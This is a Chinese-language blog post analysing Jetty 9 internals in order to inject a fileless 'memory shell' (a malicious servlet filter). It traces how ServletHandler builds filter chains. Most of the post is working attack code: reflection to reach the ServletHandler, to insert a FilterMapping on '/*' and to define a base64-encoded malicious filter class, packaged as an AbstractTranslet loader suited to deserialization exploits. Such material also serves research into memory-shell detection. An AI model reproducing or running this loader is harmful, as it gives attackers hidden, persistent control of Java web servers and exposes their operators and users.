Jetty 内存马注入分析
目录
环境搭建
Jetty 是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。
Jetty 9.0.7
HelloFilter
package com.example.JettyDemo;
import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;
@WebFilter(filterName = "HelloFilter",urlPatterns = "/hello")
public class HelloFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
}
public void destroy() {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
response.getWriter().println("HelloFilter work");
chain.doFilter(request, response);
}
}
Filter分析
在servlet打下断点,查看调用栈,在ServletHandler中第一次出现了和filter相关的信息,可以看出调用栈在经ServletHandler后构造filter相关的信息。个人理解,直接寻找第一出现和filtes相关信息的调用栈,可以快速定位获取上下文的内容。比如这里,就看出我们需要获取ServletHanlder。
找到第一次调用doFilter
的地方,ServletHandler::doHandle
中第一次调用了doFilter,chain.doFilter()
。考虑chain是如何生成的。
ServletHandler::doHandle
中定义了chain(FilterChain)类型
,接着调用了getFilterChain
,跟进查看getFilterChain
,该函数构造FilterChain。
在该函数中打下断点,跟进到该函数中,重启服务器。这里实例化了一个filters,接下来的操作就是遍历_filterPathMappings
中的元素,从中获取元素中的_Holder
(FilterHolder类型)
接着经过new ServletHandler.CacheChain(filers,servletHolder)
,会将filters中的信息存入chain,然后返回chain。
继续往上跟进,观察_filterPathMappings
如何生成的。观察调用栈可以发现,在第一次调用ServletHandler
的时候,在实例化的ServletHandler
对象中有this._filterPathMappings
,那么可以理解为获取到ServletHandler对象
就能获取到_filterPathMappings
所以如何将恶意filter注入的关键在于在_filterPathMappings
中添加必要的元素。需要往filerPathMappings中添加FilterMapping类型的元素。根据经验,可以假设FilterMapping中需要包含如下三个变量。
思路如下:
1、获取ServletHandler
2、获取_filterPathMappings
3、往_filterPathMappings中添加元素FilterMapping的实例化对象
其中该实例化对象包含三个变量:分别是_filterName,_holder,_pathSpecs
构造内存马
获取ServletHandler
快速定位上下文
// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("org.eclipse.jetty.servlet.ServletHandler.").build());
// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
// 打开调试模式,会生成log日志
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/Users/lishuheng/Documents/CodeFile/java/MiddleWare/logs/jetty");
searcher.searchObject();
TargetObject = {[Ljava.lang.Thread;}
---> [8] = {java.lang.Thread} = {java.lang.Thread}
---> contextClassLoader = {org.eclipse.jetty.webapp.WebAppClassLoader}
---> _context = {org.eclipse.jetty.webapp.WebAppContext}
---> _servletHandler = {org.eclipse.jetty.servlet.ServletHandler}
获取_servletHandler
Object obj = Thread.currentThread();
Field field = obj.getClass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("_context");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("_servletHandler");
field.setAccessible(true);
obj = field.get(obj);
获取_filterPathMappings
private static synchronized void InjectFilter(){
...
//假定已经获取到ServletHandler
ArrayList filterPathMappings = (ArrayList) GetField(servletHandler,"_filterPathMappings");
...
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
实例化FilterMapping
这里需要注意的是,当我企图直接实例化一个FilterMapping的时候,系统报错如下:
但是在Jetty的依赖包中又确实有这个类。暂时存疑。
这里提供两种解决思路
思路一:
干脆直接用反射的方式去构造FilterMapping,如下:
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
setFilter.invoke(filterHolder,HFilter);
Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
setName.invoke(filterHolder,filterName);
Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
实例化FilterMapping对象包含三个变量,分别是_filterName,_holder,_pathSpecs
的原因是
_pathSpecs
在ServletHandler:getFilterChain()
中的appliesTo()
函数
该函数将实际访问的路由与filterMapping._pathSpecs
中所定义的路由进行匹配,匹配正确则为true。
接着调用filterPathMapping.getFilterHolder()
,获取filterMapping
中的_holder
,
FilterHolder中包含了Filter的各项信息。
_filterName
实际上并非必要,因为通过调试可知,当获取到_holder的值之后,_holder
中同样也能获取到_filtername
,而且会自动赋值到_filterName
中。
具体代码如下:
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);
filterPathMappings.add(filterMapping);
思路二:
在org.eclipse.jetty.servlet.ServletHandler
中有方法addFilterWithMapping
可以向_filterPathMappings(ArrayList类型)
中添加FilterMapping类型的元素
具体实现
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.servlet.Filter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class JettyFilterLoader extends AbstractTranslet {
private static Object servletHandler = null;
private static String filterName = "HFilter";
private static String filterClassName = "com.HFilter";
private static String url = "/*";
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class|base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
Thread currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
Object _context = GetField(contextClassLoader,"_context");
servletHandler = GetField(_context,"_servletHandler");
}catch (Exception e){
e.printStackTrace();
}
}
private static synchronized void InjectFilter() throws Exception {
if(servletHandler != null){
//方法一
Filter HFilter = (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
ArrayList filterPathMappings = (ArrayList) GetField(servletHandler,"_filterPathMappings");
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
setFilter.invoke(filterHolder,HFilter);
Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
setName.invoke(filterHolder,filterName);
Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);
filterPathMappings.add(filterMapping);
System.out.println("123");
/*
//方法二
Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addFilterWithMapping", Class.class, String.class, Integer.TYPE);
addFilterWithMapping.invoke(servletHandler, HFilter, "/*", 1);
//使用addFilterWithMapping有个问题,动态添加FilterMapping时,其dispatches可能会与已加载到内存中的FilterMapping重复了,因此需要调整元素在_filterPathMappings中的位置
Object filterMaps = GetField(servletHandler, "_filterMappings");
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
int n = 1;
int j;
for(j = 0; j < Array.getLength(filterMaps); ++j) {
Object filter = Array.get(filterMaps, j);
String filterName = (String)GetField(filter, "_filterName");
if (filterName.contains(HFilter.getName())) {
tmpFilterMaps[0] = filter;
} else {
tmpFilterMaps[n] = filter;
++n;
}
}
for(j = 0; j < tmpFilterMaps.length; ++j) {
Array.set(filterMaps, j, tmpFilterMaps[j]);
}*/
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
return method;
}
}
static {
new JettyFilterLoader();
}
public JettyFilterLoader(){
try{
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
后记
为什么实例化FilterMapping时会存在找不到该类的问题,望赐教。如有分析不对的地方,望斧正。